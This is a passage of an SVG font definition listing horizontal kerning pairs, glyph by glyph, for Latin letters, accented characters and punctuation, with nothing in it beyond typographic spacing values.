<hkern u1="N" u2="O" k="-10" />
<hkern u1="N" u2="G" k="-10" />
<hkern u1="N" u2="C" k="-10" />
<hkern u1="N" u2="A" k="5" />
<hkern u1="N" u2="&#x2e;" k="-15" />
<hkern u1="N" u2="&#x2c;" k="-15" />
<hkern u1="O" u2="&#xe000;" k="30" />
<hkern u1="O" u2="&#x178;" k="60" />
<hkern u1="O" u2="&#xc6;" k="25" />
<hkern u1="O" u2="&#xc5;" k="35" />
<hkern u1="O" u2="&#xc4;" k="35" />
<hkern u1="O" u2="&#xc3;" k="35" />
<hkern u1="O" u2="&#xc1;" k="35" />
<hkern u1="O" u2="&#xc0;" k="35" />
<hkern u1="O" u2="Y" k="60" />
<hkern u1="O" u2="X" k="35" />
<hkern u1="O" u2="W" k="20" />
<hkern u1="O" u2="V" k="35" />
<hkern u1="O" u2="T" k="20" />
<hkern u1="O" u2="A" k="35" />
<hkern u1="P" u2="&#x153;" k="10" />
<hkern u1="P" u2="&#xf8;" k="15" />
<hkern u1="P" u2="&#xf6;" k="15" />
<hkern u1="P" u2="&#xf4;" k="15" />
<hkern u1="P" u2="&#xeb;" k="10" />
<hkern u1="P" u2="&#xea;" k="10" />
<hkern u1="P" u2="&#xe8;" k="10" />
<hkern u1="P" u2="&#xe6;" k="10" />
<hkern u1="P" u2="&#xe5;" k="5" />
<hkern u1="P" u2="&#xe4;" k="5" />
<hkern u1="P" u2="&#xe1;" k="5" />
<hkern u1="P" u2="&#xc6;" k="55" />
<hkern u1="P" u2="&#xc5;" k="65" />
<hkern u1="P" u2="&#xc4;" k="65" />
<hkern u1="P" u2="&#xc1;" k="65" />
<hkern u1="P" u2="o" k="15" />
<hkern u1="P" u2="e" k="10" />
<hkern u1="P" u2="a" k="5" />
<hkern u1="P" u2="J" k="45" />
<hkern u1="P" u2="A" k="65" />
<hkern u1="P" u2="&#x2e;" k="95" />
<hkern u1="P" u2="&#x2c;" k="95" />
<hkern u1="R" u2="&#x178;" k="35" />
<hkern u1="R" u2="&#x152;" k="-5" />
<hkern u1="R" u2="&#xff;" k="-5" />
<hkern u1="R" u2="&#xf8;" k="5" />
<hkern u1="R" u2="&#xf6;" k="5" />
<hkern u1="R" u2="&#xf5;" k="5" />
<hkern u1="R" u2="&#xf4;" k="5" />
<hkern u1="R" u2="&#xf3;" k="5" />
<hkern u1="R" u2="&#xf2;" k="5" />
<hkern u1="R" u2="&#xdc;" k="5" />
<hkern u1="R" u2="&#xdb;" k="5" />
<hkern u1="R" u2="&#xda;" k="5" />
<hkern u1="R" u2="&#xd9;" k="5" />
<hkern u1="R" u2="&#xd8;" k="5" />
<hkern u1="R" u2="&#xd6;" k="5" />
<hkern u1="R" u2="&#xd5;" k="5" />
<hkern u1="R" u2="&#xd4;" k="5" />
<hkern u1="R" u2="&#xd3;" k="5" />
<hkern u1="R" u2="&#xd2;" k="5" />
<hkern u1="R" u2="&#xc7;" k="5" />
<hkern u1="R" u2="y" k="-5" />
<hkern u1="R" u2="o" k="5" />
<hkern u1="R" u2="Y" k="35" />
<hkern u1="R" u2="W" k="15" />
<hkern u1="R" u2="V" k="25" />
<hkern u1="R" u2="U" k="5" />
<hkern u1="R" u2="O" k="5" />
<hkern u1="R" u2="G" k="5" />
<hkern u1="R" u2="C" k="5" />
<hkern u1="R" u2="&#x2d;" k="-15" />
<hkern u1="S" u2="&#xe000;" k="15" />
<hkern u1="S" u2="&#x178;" k="45" />
<hkern u1="S" u2="&#xc6;" k="10" />
<hkern u1="S" u2="&#xc5;" k="20" />
<hkern u1="S" u2="&#xc4;" k="20" />
<hkern u1="S" u2="&#xc3;" k="20" />
<hkern u1="S" u2="&#xc2;" k="20" />
<hkern u1="S" u2="&#xc1;" k="20" />
<hkern u1="S" u2="&#xc0;" k="20" />
<hkern u1="S" u2="Y" k="45" />
<hkern u1="S" u2="W" k="15" />
<hkern u1="S" u2="V" k="30" />
<hkern u1="S" u2="T" k="5" />
<hkern u1="S" u2="A" k="20" />
<hkern u1="T" u2="&#x2039;" k="100" />
<hkern u1="T" u2="&#x178;" k="-15" />
<hkern u1="T" u2="&#x153;" k="30" />
<hkern u1="T" u2="&#x152;" k="20" />
<hkern u1="T" u2="&#xff;" k="40" />
<hkern u1="T" u2="&#xfd;" k="60" />
<hkern u1="T" u2="&#xfc;" k="35" />
<hkern u1="T" u2="&#xfb;" k="35" />
<hkern u1="T" u2="&#xfa;" k="55" />
<hkern u1="T" u2="&#xf9;" k="35" />
<hkern u1="T" u2="&#xf8;" k="75" />
<hkern u1="T" u2="&#xf6;" k="40" />
<hkern u1="T" u2="&#xf5;" k="40" />
<hkern u1="T" u2="&#xf4;" k="40" />
<hkern u1="T" u2="&#xf3;" k="55" />
<hkern u1="T" u2="&#xf2;" k="40" />
<hkern u1="T" u2="&#xeb;" k="35" />
<hkern u1="T" u2="&#xea;" k="35" />
<hkern u1="T" u2="&#xe9;" k="55" />
<hkern u1="T" u2="&#xe8;" k="35" />
<hkern u1="T" u2="&#xe7;" k="75" />
<hkern u1="T" u2="&#xe6;" k="30" />
<hkern u1="T" u2="&#xe5;" k="40" />
<hkern u1="T" u2="&#xe4;" k="40" />
<hkern u1="T" u2="&#xe3;" k="40" />
<hkern u1="T" u2="&#xe2;" k="40" />
<hkern u1="T" u2="&#xe1;" k="55" />
<hkern u1="T" u2="&#xe0;" k="40" />
<hkern u1="T" u2="&#xd8;" k="20" />
<hkern u1="T" u2="&#xd6;" k="20" />
<hkern u1="T" u2="&#xd5;" k="20" />
<hkern u1="T" u2="&#xd4;" k="20" />
<hkern u1="T" u2="&#xd3;" k="20" />
<hkern u1="T" u2="&#xd2;" k="20" />
<hkern u1="T" u2="&#xc7;" k="20" />
<hkern u1="T" u2="&#xc6;" k="55" />
<hkern u1="T" u2="&#xc5;" k="85" />
<hkern u1="T" u2="&#xc4;" k="85" />
<hkern u1="T" u2="&#xc3;" k="85" />
<hkern u1="T" u2="&#xc2;" k="85" />
<hkern u1="T" u2="&#xc1;" k="85" />
<hkern u1="T" u2="&#xc0;" k="85" />
<hkern u1="T" u2="&#xab;" k="100" />
<hkern u1="T" u2="y" k="80" />
<hkern u1="T" u2="w" k="75" />
<hkern u1="T" u2="v" k="80" />
<hkern u1="T" u2="u" k="70" />
<hkern u1="T" u2="s" k="75" />
<hkern u1="T" u2="r" k="70" />
<hkern u1="T" u2="o" k="75" />
<hkern u1="T" u2="g" k="75" />
<hkern u1="T" u2="e" k="70" />
<hkern u1="T" u2="c" k="75" />
<hkern u1="T" u2="a" k="75" />
<hkern u1="T" u2="Y" k="-15" />
<hkern u1="T" u2="W" k="-25" />
<hkern u1="T" u2="V" k="-20" />
<hkern u1="T" u2="S" k="-5" />
<hkern u1="T" u2="O" k="20" />
<hkern u1="T" u2="J" k="85" />
<hkern u1="T" u2="G" k="20" />
<hkern u1="T" u2="C" k="20" />
<hkern u1="T" u2="A" k="85" />
<hkern u1="T" u2="&#x3b;" k="100" />
<hkern u1="T" u2="&#x3a;" k="95" />
<hkern u1="T" u2="&#x2e;" k="65" />
<hkern u1="T" u2="&#x2d;" k="50" />
<hkern u1="T" u2="&#x2c;" k="65" />
<hkern u1="U" u2="&#xf1;" k="-5" />
<hkern u1="U" u2="&#xc6;" k="20" />
<hkern u1="U" u2="&#xc5;" k="35" />
<hkern u1="U" u2="&#xc4;" k="35" />
<hkern u1="U" u2="&#xc3;" k="35" />
<hkern u1="U" u2="&#xc2;" k="35" />
<hkern u1="U" u2="&#xc1;" k="35" />
<hkern u1="U" u2="&#xc0;" k="35" />
<hkern u1="U" u2="r" k="-5" />
<hkern u1="U" u2="p" k="-5" />
<hkern u1="U" u2="n" k="-5" />
<hkern u1="U" u2="m" k="-5" />
<hkern u1="U" u2="A" k="35" />
<hkern u1="U" u2="&#x2e;" k="5" />
<hkern u1="U" u2="&#x2c;" k="5" />
<hkern u1="V" u2="&#x2039;" k="70" />
<hkern u1="V" u2="&#x153;" k="30" />
<hkern u1="V" u2="&#x152;" k="20" />
<hkern u1="V" u2="&#xff;" k="5" />
<hkern u1="V" u2="&#xfd;" k="10" />
<hkern u1="V" u2="&#xfc;" k="20" />
<hkern u1="V" u2="&#xfb;" k="20" />
<hkern u1="V" u2="&#xfa;" k="25" />
<hkern u1="V" u2="&#xf9;" k="20" />
<hkern u1="V" u2="&#xf8;" k="50" />
<hkern u1="V" u2="&#xf6;" k="25" />
<hkern u1="V" u2="&#xf5;" k="25" />
<hkern u1="V" u2="&#xf4;" k="25" />
<hkern u1="V" u2="&#xf3;" k="40" />
<hkern u1="V" u2="&#xf2;" k="25" />
<hkern u1="V" u2="&#xeb;" k="25" />
<hkern u1="V" u2="&#xea;" k="25" />
<hkern u1="V" u2="&#xe9;" k="35" />
<hkern u1="V" u2="&#xe8;" k="25" />
<hkern u1="V" u2="&#xe6;" k="30" />
<hkern u1="V" u2="&#xe5;" k="25" />
<hkern u1="V" u2="&#xe4;" k="25" />
<hkern u1="V" u2="&#xe3;" k="25" />
<hkern u1="V" u2="&#xe2;" k="25" />
<hkern u1="V" u2="&#xe1;" k="35" />
<hkern u1="V" u2="&#xe0;" k="25" />
<hkern u1="V" u2="&#xd8;" k="35" />
<hkern u1="V" u2="&#xd6;" k="35" />
<hkern u1="V" u2="&#xd5;" k="35" />
<hkern u1="V" u2="&#xd4;" k="35" />
<hkern u1="V" u2="&#xd3;" k="35" />
<hkern u1="V" u2="&#xd2;" k="35" />
<hkern u1="V" u2="&#xc7;" k="35" />
<hkern u1="V" u2="&#xc6;" k="55" />
<hkern u1="V" u2="&#xc5;" k="70" />
<hkern u1="V" u2="&#xc4;" k="70" />
<hkern u1="V" u2="&#xc3;" k="70" />
<hkern u1="V" u2="&#xc2;" k="70" />
<hkern u1="V" u2="&#xc1;" k="70" />
<hkern u1="V" u2="&#xc0;" k="70" />
<hkern u1="V" u2="&#xab;" k="75" />
<hkern u1="V" u2="y" k="10" />
<hkern u1="V" u2="u" k="35" />
<hkern u1="V" u2="r" k="35" />
<hkern u1="V" u2="o" k="50" />
<hkern u1="V" u2="g" k="50" />
<hkern u1="V" u2="e" k="45" />
<hkern u1="V" u2="a" k="45" />
<hkern u1="V" u2="T" k="-20" />
<hkern u1="V" u2="S" k="20" />
<hkern u1="V" u2="O" k="35" />
<hkern u1="V" u2="G" k="40" />
<hkern u1="V" u2="C" k="35" />
<hkern u1="V" u2="A" k="70" />
<hkern u1="V" u2="&#x3b;" k="65" />
<hkern u1="V" u2="&#x3a;" k="65" />
<hkern u1="V" u2="&#x2e;" k="70" />
<hkern u1="V" u2="&#x2d;" k="20" />
<hkern u1="V" u2="&#x2c;" k="70" />
<hkern u1="W" u2="&#x2039;" k="55" />
<hkern u1="W" u2="&#x153;" k="30" />
<hkern u1="W" u2="&#x152;" k="20" />
<hkern u1="W" u2="&#xfc;" k="15" />
<hkern u1="W" u2="&#xfb;" k="15" />
<hkern u1="W" u2="&#xfa;" k="20" />
<hkern u1="W" u2="&#xf9;" k="15" />
<hkern u1="W" u2="&#xf8;" k="30" />
<hkern u1="W" u2="&#xf6;" k="15" />
<hkern u1="W" u2="&#xf5;" k="15" />
<hkern u1="W" u2="&#xf4;" k="15" />
<hkern u1="W" u2="&#xf3;" k="25" />
<hkern u1="W" u2="&#xf2;" k="15" />
<hkern u1="W" u2="&#xeb;" k="15" />
<hkern u1="W" u2="&#xea;" k="15" />
<hkern u1="W" u2="&#xe9;" k="20" />
<hkern u1="W" u2="&#xe8;" k="15" />
<hkern u1="W" u2="&#xe6;" k="30" />
<hkern u1="W" u2="&#xe5;" k="15" />
<hkern u1="W" u2="&#xe4;" k="15" />
<hkern u1="W" u2="&#xe3;" k="15" />
<hkern u1="W" u2="&#xe2;" k="15" />
<hkern u1="W" u2="&#xe1;" k="25" />
<hkern u1="W" u2="&#xe0;" k="15" />
<hkern u1="W" u2="&#xd8;" k="20" />
<hkern u1="W" u2="&#xd6;" k="20" />
<hkern u1="W" u2="&#xc7;" k="20" />
<hkern u1="W" u2="&#xc6;" k="55" />
<hkern u1="W" u2="&#xc5;" k="55" />
<hkern u1="W" u2="&#xc4;" k="55" />
<hkern u1="W" u2="&#xab;" k="55" />
<hkern u1="W" u2="u" k="25" />
<hkern u1="W" u2="r" k="25" />
<hkern u1="W" u2="o" k="30" />
<hkern u1="W" u2="g" k="30" />
<hkern u1="W" u2="e" k="25" />
<hkern u1="W" u2="a" k="30" />
<hkern u1="W" u2="T" k="-25" />
<hkern u1="W" u2="S" k="10" />
<hkern u1="W" u2="O" k="20" />
<hkern u1="W" u2="G" k="20" />
<hkern u1="W" u2="C" k="20" />
<hkern u1="W" u2="A" k="55" />
<hkern u1="W" u2="&#x3b;" k="55" />
<hkern u1="W" u2="&#x3a;" k="55" />
<hkern u1="W" u2="&#x2e;" k="45" />
<hkern u1="W" u2="&#x2d;" k="5" />
<hkern u1="W" u2="&#x2c;" k="45" />
<hkern u1="X" u2="&#xff;" k="40" />
<hkern u1="X" u2="&#xfc;" k="25" />
<hkern u1="X" u2="&#xfb;" k="25" />
<hkern u1="X" u2="&#xfa;" k="25" />
<hkern u1="X" u2="&#xf9;" k="25" />
<hkern u1="X" u2="&#xf8;" k="30" />
<hkern u1="X" u2="&#xf6;" k="30" />
<hkern u1="X" u2="&#xf5;" k="30" />
<hkern u1="X" u2="&#xf4;" k="30" />
<hkern u1="X" u2="&#xf3;" k="30" />
<hkern u1="X" u2="&#xf2;" k="30" />
<hkern u1="X" u2="&#xeb;" k="25" />
<hkern u1="X" u2="&#xea;" k="25" />
<hkern u1="X" u2="&#xe9;" k="25" />
<hkern u1="X" u2="&#xe8;" k="25" />
<hkern u1="X" u2="&#xe5;" k="5" />
<hkern u1="X" u2="&#xe4;" k="5" />
<hkern u1="X" u2="&#xe3;" k="5" />
<hkern u1="X" u2="&#xe2;" k="5" />
<hkern u1="X" u2="&#xe1;" k="5" />
<hkern u1="X" u2="&#xe0;" k="5" />
<hkern u1="X" u2="&#xd8;" k="35" />
<hkern u1="X" u2="&#xd6;" k="35" />
<hkern u1="X" u2="&#xd5;" k="35" />
<hkern u1="X" u2="&#xd4;" k="35" />
<hkern u1="X" u2="&#xd3;" k="35" />
<hkern u1="X" u2="&#xd2;" k="35" />
<hkern u1="X" u2="&#xc7;" k="35" />
<hkern u1="X" u2="y" k="40" />
<hkern u1="X" u2="u" k="25" />
<hkern u1="X" u2="o" k="30" />
<hkern u1="X" u2="e" k="25" />
<hkern u1="X" u2="a" k="5" />
<hkern u1="X" u2="Q" k="35" />
<hkern u1="X" u2="O" k="35" />
<hkern u1="X" u2="C" k="35" />
<hkern u1="X" u2="&#x2d;" k="25" />
<hkern u1="Y" u2="&#x2039;" k="95" />
<hkern u1="Y" u2="&#x153;" k="30" />
<hkern u1="Y" u2="&#x152;" k="20" />
<hkern u1="Y" u2="&#xfc;" k="25" />
<hkern u1="Y" u2="&#xfb;" k="25" />
<hkern u1="Y" u2="&#xfa;" k="40" />
<hkern u1="Y" u2="&#xf9;" k="25" />
<hkern u1="Y" u2="&#xf8;" k="70" />
<hkern u1="Y" u2="&#xf6;" k="35" />
<hkern u1="Y" u2="&#xf5;" k="35" />
<hkern u1="Y" u2="&#xf4;" k="35" />
<hkern u1="Y" u2="&#xf3;" k="55" />
<hkern u1="Y" u2="&#xf2;" k="35" />
<hkern u1="Y" u2="&#xeb;" k="35" />
<hkern u1="Y" u2="&#xea;" k="35" />
<hkern u1="Y" u2="&#xe9;" k="50" />
<hkern u1="Y" u2="&#xe8;" k="35" />
<hkern u1="Y" u2="&#xe6;" k="30" />
<hkern u1="Y" u2="&#xe5;" k="35" />
<hkern u1="Y" u2="&#xe4;" k="35" />
<hkern u1="Y" u2="&#xe3;" k="35" />
<hkern u1="Y" u2="&#xe2;" k="35" />
<hkern u1="Y" u2="&#xe1;" k="50" />
<hkern u1="Y" u2="&#xe0;" k="35" />
<hkern u1="Y" u2="&#xd8;" k="55" />
<hkern u1="Y" u2="&#xd6;" k="55" />
<hkern u1="Y" u2="&#xc7;" k="50" />
<hkern u1="Y" u2="&#xc6;" k="55" />
<hkern u1="Y" u2="&#xc5;" k="85" />
<hkern u1="Y" u2="&#xc4;" k="85" />
<hkern u1="Y" u2="&#xab;" k="100" />
<hkern u1="Y" u2="v" k="25" />
<hkern u1="Y" u2="u" k="50" />
<hkern u1="Y" u2="p" k="45" />
<hkern u1="Y" u2="o" k="70" />
<hkern u1="Y" u2="g" k="70" />
<hkern u1="Y" u2="e" k="65" />
<hkern u1="Y" u2="a" k="65" />
<hkern u1="Y" u2="T" k="-20" />
<hkern u1="Y" u2="S" k="30" />
<hkern u1="Y" u2="O" k="55" />
<hkern u1="Y" u2="G" k="55" />
<hkern u1="Y" u2="C" k="50" />
<hkern u1="Y" u2="A" k="85" />
<hkern u1="Y" u2="&#x3b;" k="85" />
<hkern u1="Y" u2="&#x3a;" k="80" />
<hkern u1="Y" u2="&#x2e;" k="80" />
<hkern u1="Y" u2="&#x2d;" k="50" />
<hkern u1="Y" u2="&#x2c;" k="80" />
<hkern u1="Z" u2="&#xff;" k="10" />
<hkern u1="Z" u2="y" k="10" />
<hkern u1="Z" u2="v" k="10" />
<hkern u1="a" u2="&#x2019;" k="10" />
<hkern u1="a" u2="&#xff;" k="15" />
<hkern u1="a" u2="y" k="15" />
<hkern u1="a" u2="w" k="5" />
<hkern u1="a" u2="v" k="20" />
<hkern u1="b" u2="&#xff;" k="20" />
<hkern u1="b" u2="y" k="20" />
<hkern u1="b" u2="w" k="5" />
<hkern u1="b" u2="v" k="20" />
<hkern u1="c" u2="k" k="-5" />
<hkern u1="e" u2="&#x2019;" k="10" />
<hkern u1="e" u2="&#xff;" k="15" />
<hkern u1="e" u2="y" k="15" />
<hkern u1="e" u2="x" k="20" />
<hkern u1="e" u2="w" k="5" />
<hkern u1="e" u2="v" k="20" />
<hkern u1="e" u2="t" k="5" />
<hkern u1="e" u2="V" k="45" />
<hkern u1="f" u2="&#x2019;" k="-10" />
<hkern u1="f" u2="&#x153;" k="5" />
<hkern u1="f" u2="&#xf8;" k="10" />
<hkern u1="f" u2="&#xf6;" k="5" />
<hkern u1="f" u2="&#xf5;" k="5" />
<hkern u1="f" u2="&#xf4;" k="5" />
<hkern u1="f" u2="&#xf3;" k="10" />
<hkern u1="f" u2="&#xf2;" k="5" />
<hkern u1="f" u2="&#xeb;" k="5" />
<hkern u1="f" u2="&#xea;" k="5" />
<hkern u1="f" u2="&#xe9;" k="5" />
<hkern u1="f" u2="&#xe8;" k="5" />
<hkern u1="f" u2="t" k="-20" />
<hkern u1="f" u2="o" k="10" />
<hkern u1="f" u2="l" k="5" />
<hkern u1="f" u2="f" k="-20" />
<hkern u1="f" u2="e" k="5" />
<hkern u1="g" u2="&#xeb;" k="-10" />
<hkern u1="g" u2="&#xe8;" k="-10" />
<hkern u1="g" u2="&#xe6;" k="-5" />
<hkern u1="g" u2="&#xe5;" k="-5" />
<hkern u1="g" u2="&#xe4;" k="-5" />
<hkern u1="g" u2="&#xe3;" k="-5" />
<hkern u1="g" u2="&#xe2;" k="-5" />
<hkern u1="g" u2="&#xe1;" k="-5" />
<hkern u1="g" u2="&#xe0;" k="-5" />
<hkern u1="g" u2="e" k="-10" />
<hkern u1="g" u2="a" k="-5" />
<hkern u1="h" u2="&#x2019;" k="15" />
<hkern u1="h" u2="&#xff;" k="20" />
<hkern u1="h" u2="y" k="20" />
<hkern u1="k" u2="&#xf8;" k="20" />
<hkern u1="k" u2="&#xf6;" k="20" />
<hkern u1="k" u2="&#xeb;" k="15" />
<hkern u1="k" u2="&#xea;" k="15" />
<hkern u1="k" u2="&#xe9;" k="15" />
<hkern u1="k" u2="&#xe8;" k="15" />
<hkern u1="k" u2="s" k="10" />
<hkern u1="k" u2="o" k="20" />
<hkern u1="k" u2="g" k="20" />
<hkern u1="k" u2="e" k="15" />
<hkern u1="k" u2="W" k="15" />
<hkern u1="k" u2="V" k="25" />
<hkern u1="k" u2="&#x2e;" k="-5" />
<hkern u1="k" u2="&#x2d;" k="25" />
<hkern u1="k" u2="&#x2c;" k="-5" />
<hkern u1="l" u2="v" k="5" />
<hkern u1="m" u2="&#xff;" k="20" />
<hkern u1="m" u2="y" k="20" />
<hkern u1="m" u2="w" k="5" />
<hkern u1="m" u2="v" k="20" />
<hkern u1="m" u2="p" k="-5" />
<hkern u1="n" u2="&#x2019;" k="10" />
<hkern u1="n" u2="&#xff;" k="20" />
<hkern u1="n" u2="y" k="20" />
<hkern u1="n" u2="w" k="5" />
<hkern u1="n" u2="v" k="20" />
<hkern u1="n" u2="p" k="-5" />
<hkern u1="n" u2="T" k="80" />
<hkern u1="o" u2="&#x2019;" k="15" />
<hkern u1="o" u2="&#xff;" k="20" />
<hkern u1="o" u2="y" k="20" />
<hkern u1="o" u2="x" k="25" />
<hkern u1="o" u2="w" k="10" />
<hkern u1="o" u2="v" k="25" />
<hkern u1="o" u2="t" k="10" />
<hkern u1="o" u2="T" k="85" />
<hkern u1="p" u2="&#xff;" k="20" />
<hkern u1="p" u2="y" k="20" />
<hkern u1="p" u2="t" k="5" />
<hkern u1="q" u2="&#xfc;" k="-5" />
<hkern u1="q" u2="&#xfb;" k="-5" />
<hkern u1="q" u2="&#xfa;" k="-5" />
<hkern u1="q" u2="&#xf9;" k="-5" />
<hkern u1="q" u2="&#xe7;" k="-5" />
<hkern u1="q" u2="u" k="-5" />
<hkern u1="q" u2="c" k="-5" />
<hkern u1="r" u2="&#x2019;" k="-15" />
<hkern u1="r" u2="&#x153;" k="-5" />
<hkern u1="r" u2="&#xff;" k="-25" />
<hkern u1="r" u2="&#xeb;" k="-5" />
<hkern u1="r" u2="&#xea;" k="-5" />
<hkern u1="r" u2="&#xe9;" k="-5" />
<hkern u1="r" u2="&#xe8;" k="-5" />
<hkern u1="r" u2="&#xe6;" k="-5" />
<hkern u1="r" u2="&#xe5;" k="-5" />
<hkern u1="r" u2="&#xe4;" k="-5" />
<hkern u1="r" u2="&#xe3;" k="-5" />
<hkern u1="r" u2="&#xe2;" k="-5" />
<hkern u1="r" u2="&#xe1;" k="-5" />
<hkern u1="r" u2="&#xe0;" k="-5" />
<hkern u1="r" u2="z" k="-10" />
<hkern u1="r" u2="y" k="-25" />
<hkern u1="r" u2="x" k="-15" />
<hkern u1="r" u2="w" k="-25" />
<hkern u1="r" u2="v" k="-20" />
<hkern u1="r" u2="t" k="-20" />
<hkern u1="r" u2="s" k="-5" />
<hkern u1="r" u2="l" k="5" />
<hkern u1="r" u2="h" k="5" />
<hkern u1="r" u2="f" k="-20" />
<hkern u1="r" u2="e" k="-5" />
<hkern u1="r" u2="a" k="-5" />
<hkern u1="r" u2="&#x3b;" k="25" />
<hkern u1="r" u2="&#x3a;" k="25" />
<hkern u1="r" u2="&#x2e;" k="55" />
<hkern u1="r" u2="&#x2d;" k="35" />
<hkern u1="r" u2="&#x2c;" k="55" />
<hkern u1="s" u2="&#x2019;" k="10" />
<hkern u1="t" u2="&#x2019;" k="-5" />
<hkern u1="t" u2="&#xf8;" k="10" />
<hkern u1="t" u2="&#xf6;" k="10" />
<hkern u1="t" u2="&#xf5;" k="10" />
<hkern u1="t" u2="&#xf4;" k="10" />
<hkern u1="t" u2="&#xf3;" k="10" />
<hkern u1="t" u2="&#xf2;" k="10" />
<hkern u1="t" u2="&#xeb;" k="5" />
<hkern u1="t" u2="&#xea;" k="5" />
<hkern u1="t" u2="&#xe9;" k="5" />
<hkern u1="t" u2="&#xe8;" k="5" />
<hkern u1="t" u2="&#xe6;" k="-5" />
<hkern u1="t" u2="&#xe5;" k="-5" />
<hkern u1="t" u2="&#xe4;" k="-5" />
<hkern u1="t" u2="&#xe3;" k="-5" />
<hkern u1="t" u2="&#xe2;" k="-5" />
<hkern u1="t" u2="&#xe1;" k="-5" />
<hkern u1="t" u2="&#xe0;" k="-5" />
<hkern u1="t" u2="o" k="10" />
<hkern u1="t" u2="e" k="5" />
<hkern u1="t" u2="a" k="-5" />
<hkern u1="t" u2="&#x3b;" k="25" />
<hkern u1="t" u2="&#x3a;" k="25" />
<hkern u1="v" u2="&#x153;" k="10" />
<hkern u1="v" u2="&#xf8;" k="20" />
<hkern u1="v" u2="&#xf6;" k="20" />
<hkern u1="v" u2="&#xf5;" k="20" />
<hkern u1="v" u2="&#xf4;" k="20" />
<hkern u1="v" u2="&#xf3;" k="20" />
<hkern u1="v" u2="&#xf2;" k="20" />
<hkern u1="v" u2="&#xeb;" k="15" />
<hkern u1="v" u2="&#xea;" k="15" />
<hkern u1="v" u2="&#xe9;" k="15" />
<hkern u1="v" u2="&#xe8;" k="15" />
<hkern u1="v" u2="&#xe7;" k="20" />
<hkern u1="v" u2="&#xe6;" k="5" />
<hkern u1="v" u2="&#xe5;" k="15" />
<hkern u1="v" u2="&#xe4;" k="15" />
<hkern u1="v" u2="&#xe3;" k="15" />
<hkern u1="v" u2="&#xe2;" k="15" />
<hkern u1="v" u2="&#xe1;" k="15" />
<hkern u1="v" u2="&#xe0;" k="15" />
<hkern u1="v" u2="s" k="15" />
<hkern u1="v" u2="o" k="20" />
<hkern u1="v" u2="l" k="5" />
<hkern u1="v" u2="g" k="20" />
<hkern u1="v" u2="e" k="15" />
<hkern u1="v" u2="c" k="20" />
<hkern u1="v" u2="a" k="15" />
<hkern u1="v" u2="&#x3b;" k="35" />
<hkern u1="v" u2="&#x3a;" k="30" />
<hkern u1="v" u2="&#x2e;" k="50" />
<hkern u1="v" u2="&#x2c;" k="50" />
<hkern u1="w" u2="&#x153;" k="10" />
<hkern u1="w" u2="&#xf8;" k="10" />
<hkern u1="w" u2="&#xf6;" k="10" />
<hkern u1="w" u2="&#xeb;" k="5" />
<hkern u1="w" u2="&#xe7;" k="10" />
<hkern u1="w" u2="&#xe6;" k="5" />
<hkern u1="w" u2="&#xe5;" k="5" />
<hkern u1="w" u2="&#xe4;" k="5" />
<hkern u1="w" u2="s" k="10" />
<hkern u1="w" u2="o" k="10" />
<hkern u1="w" u2="g" k="10" />
<hkern u1="w" u2="e" k="5" />
<hkern u1="w" u2="c" k="10" />
<hkern u1="w" u2="a" k="5" />
<hkern u1="w" u2="&#x3b;" k="30" />
<hkern u1="w" u2="&#x3a;" k="25" />
<hkern u1="w" u2="&#x2e;" k="30" />
<hkern u1="w" u2="&#x2d;" k="-10" />
<hkern u1="w" u2="&#x2c;" k="35" />
<hkern u1="x" u2="&#xf8;" k="25" />
<hkern u1="x" u2="&#xf6;" k="25" />
<hkern u1="x" u2="&#xf5;" k="25" />
<hkern u1="x" u2="&#xf4;" k="25" />
<hkern u1="x" u2="&#xf3;" k="25" />
<hkern u1="x" u2="&#xf2;" k="25" />
<hkern u1="x" u2="&#xeb;" k="15" />
<hkern u1="x" u2="&#xea;" k="15" />
<hkern u1="x" u2="&#xe9;" k="15" />
<hkern u1="x" u2="&#xe8;" k="15" />
<hkern u1="x" u2="&#xe7;" k="20" />
<hkern u1="x" u2="&#xe5;" k="10" />
<hkern u1="x" u2="&#xe4;" k="10" />
<hkern u1="x" u2="&#xe3;" k="10" />
<hkern u1="x" u2="&#xe2;" k="10" />
<hkern u1="x" u2="&#xe1;" k="10" />
<hkern u1="x" u2="&#xe0;" k="10" />
<hkern u1="x" u2="q" k="20" />
<hkern u1="x" u2="o" k="25" />
<hkern u1="x" u2="e" k="15" />
<hkern u1="x" u2="c" k="20" />
<hkern u1="x" u2="a" k="10" />
<hkern u1="y" u2="&#x153;" k="10" />
<hkern u1="y" u2="&#xf8;" k="20" />
<hkern u1="y" u2="&#xf6;" k="20" />
<hkern u1="y" u2="&#xeb;" k="15" />
<hkern u1="y" u2="&#xea;" k="15" />
<hkern u1="y" u2="&#xe7;" k="20" />
<hkern u1="y" u2="&#xe6;" k="5" />
<hkern u1="y" u2="&#xe5;" k="15" />
<hkern u1="y" u2="&#xe4;" k="15" />
<hkern u1="y" u2="s" k="15" />
<hkern u1="y" u2="o" k="20" />
<hkern u1="y" u2="l" k="5" />
<hkern u1="y" u2="g" k="20" />
<hkern u1="y" u2="e" k="15" />
<hkern u1="y" u2="c" k="20" />
<hkern u1="y" u2="a" k="15" />
<hkern u1="y" u2="&#x3b;" k="35" />
<hkern u1="y" u2="&#x3a;" k="30" />
<hkern u1="y" u2="&#x2e;" k="50" />
<hkern u1="y" u2="&#x2c;" k="50" />
<hkern u1="&#xbb;" u2="&#x178;" k="110" />
<hkern u1="&#xbb;" u2="&#xc6;" k="40" />
<hkern u1="&#xbb;" u2="&#xc5;" k="50" />
<hkern u1="&#xbb;" u2="&#xc4;" k="50" />
<hkern u1="&#xbb;" u2="Y" k="110" />
<hkern u1="&#xbb;" u2="W" k="60" />
<hkern u1="&#xbb;" u2="V" k="80" />
<hkern u1="&#xbb;" u2="T" k="110" />
<hkern u1="&#xbb;" u2="A" k="50" />
<hkern u1="&#xc0;" u2="y" k="35" />
<hkern u1="&#xc0;" u2="u" k="10" />
<hkern u1="&#xc0;" u2="o" k="15" />
<hkern u1="&#xc0;" u2="Y" k="90" />
<hkern u1="&#xc0;" u2="U" k="30" />
<hkern u1="&#xc0;" u2="O" k="35" />
<hkern u1="&#xc1;" u2="y" k="35" />
<hkern u1="&#xc1;" u2="u" k="10" />
<hkern u1="&#xc1;" u2="t" k="20" />
<hkern u1="&#xc1;" u2="o" k="15" />
<hkern u1="&#xc1;" u2="c" k="15" />
<hkern u1="&#xc1;" u2="Y" k="90" />
<hkern u1="&#xc1;" u2="U" k="30" />
<hkern u1="&#xc1;" u2="T" k="80" />
<hkern u1="&#xc1;" u2="O" k="35" />
<hkern u1="&#xc1;" u2="C" k="35" />
<hkern u1="&#xc2;" u2="y" k="35" />
<hkern u1="&#xc2;" u2="u" k="10" />
